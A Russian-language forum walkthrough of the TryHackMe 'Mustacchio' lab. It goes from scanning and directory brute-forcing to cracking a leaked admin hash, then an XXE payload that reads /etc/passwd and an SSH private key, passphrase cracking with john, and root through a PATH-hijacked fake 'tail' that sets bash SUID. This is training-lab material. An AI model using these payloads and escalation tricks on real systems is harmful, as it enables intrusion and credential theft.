Всем привет! Недавно начал писать прохождения различных тачек на TryHackMe на английском языке, теперь буду писать и на русском.
В этот раз я буду решать Mustacchio. У него теги: XXE, PrivEsc.
Если вам будет интересен глубокий разбор XXE - фидбекайте в комментах и сделаю его!
Сканирование
Чтобы каждый раз не писать IP адрес предлагаю сделать записать его в переменную IP
export IP=*.*.*.*
Для начала просканируем машину с помощью rustscan.
Отлично мы нашли ssh и 2 веб сервера. Давайте изучим их внимательно.
http://IP/index.html
http://IP:8765/
Отлично мы нашли админку этого сайта. Я попробовал SQL инъекцию, к сожалению она не сработала...
Тогда будем пробовать искать директории и файлы. Я обычно использую feroxbuster и в данном случае буду отправлять корректные запросы в BurpSuite и советую вам делать также. Дополнительно у вас будет формироваться полноценный site map в BurpSuite.
Код:
feroxbuster -u "http://$IP:8765" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --thorough -A -P 127.0.0.1:8080 -E -R 200,301,302,403,500,502
Код:
feroxbuster -u "http://$IP" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --thorough -A -P 127.0.0.1:8080 -E -R 200,301,302,403,500,502
Я нашёл интересную директорию
custom/
, перехожу в неё и там лежат ещё папки.Меня интересует
js/
. И тут мы находим users.bak
. Скачиваем его и изучаем содержимое.В нём мы видим sqlite запрос на создание нового пользователя. И это как раз нужный нам admin.
Взлом
Bruteforce
Сохраняем наш хеш в файл и пытаемся крянуть hash с помощью john.
Bash:
john sqlite.hash -w=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
Отлично! Мы получили пасс от админа.
XXE
После того, как мы залогинились, мы видим форму добавления комментариев. Тестируем её...
Поймав запрос в BurpSuite, видим что здесь у нас XML. Логично предположить проэксплуатировать XXE.
Дополнительно проанализировав ответ от сервера видим два комментария. Первый указывает нам на какой-то файл, второй подсказывает, что мы сможем зайти по ssh используя пользователя barry.
Смотрим содержимое dontforget.bak
XML:
┌──(kali㉿kali)-[~/temp]
└─$ cat /home/kali/Downloads/dontforget.bak
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>This paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
Отлично, теперь у нас есть пример XML запроса. Пробуем повторить его:
Всё работает, отлично. Теперь выполним XXE.
XML:
xml=<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+foo+[
+++<!ELEMENT+foo+ANY+>
+++<!ENTITY+xxe+SYSTEM++"file:///etc/passwd"+>]>
<comment>
++<name>NAME-TEST</name>
++<author>AUTHOR-TEST</author>
++<com>&xxe;</com>
</comment>
Здесь нас интересует:
joe:x:1002:1002::/home/joe:/bin/bash
barry:x:1003:1003::/home/barry:/bin/bash
Вспомнили про комментарий о ssh. Вытащили приватный ключ
/home/barry/.ssh/id_rsa
.Но он запаролен к сожалению.
Получение доступа к ssh
Для брутфорса приватных ключей ssh всегда используется ssh2john + john.
Bash:
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -w=/usr/share/wordlists/rockyou.txt
Получили пасс фразу от ключа. Подключаемся!
Получили первый флаг.
Bash:
barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ cat user.txt
******
Повышение привилегий
Анализируем домашние директории всез пользователей:
ls -laR /home
Нашли файл
/home/joe/live_log
Если пробовать просмотреть его с помощью cat, то ничего не разберём. Воспользуемся strings
strings /home/joe/live_log
Видим интересную строку. Где идёт просмотр последних строк лога nginx. Попробуем локально подменить бинарь tail на наш.
В папке
/tmp
создаем файл tail
.
Bash:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
Затем экспортируем /tmp в PATH, добавим разрешение на запуск и запускаем бинарь
live_log
и пишем bash -p
, чтобы открыть root шелПолучили рута, получаем его флаг /root/root.txt
Поздравляю вы прошли эту лабу, если вам понравилось, то пишите комментарии, чтобы вам хотелось ещё изучить!
Rooted!
Последнее редактирование модератором: